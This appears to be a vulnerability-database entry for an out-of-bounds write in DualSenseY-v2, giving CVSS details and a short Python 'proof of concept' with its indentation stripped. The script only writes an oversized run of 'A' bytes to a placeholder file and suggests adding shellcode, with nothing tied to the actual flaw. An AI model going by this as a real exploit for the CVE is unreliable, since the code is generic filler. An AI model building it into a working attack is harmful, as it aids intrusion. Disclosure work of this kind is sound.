Out-of-bounds Write vulnerability in WujekFoliarz DualSenseY-v2.This issue affects DualSenseY-v2: before 54.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
WujekFoliarz DualSenseY-v2 < 54
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33850 (Out-of-bounds Write)
# This script demonstrates the concept of triggering the vulnerability
# by sending a malformed payload to the vulnerable application.
import sys
def generate_malicious_payload():
# Create a payload larger than the expected buffer size
# Replace 'A' with specific NOP sleds or shellcode if targeting execution
buffer_size = 100 # Example buffer size, adjust based on actual reverse engineering
payload = b'A' * (buffer_size + 50) # Overflow by 50 bytes
return payload
def trigger_vulnerability(target_path):
print(f"[*] Attempting to trigger vulnerability in {target_path}")
payload = generate_malicious_payload()
# Simulation of sending payload to the application
# In a real scenario, this would interact with the app's API or input mechanism
try:
with open(target_path, 'wb') as f:
f.write(payload)
print("[+] Malicious payload written successfully.")
print("[*] If the application parses this file without bounds checking, a crash or code execution may occur.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Replace with actual target file or input method used by DualSenseY-v2
target = "vulnerable_input.bin"
trigger_vulnerability(target)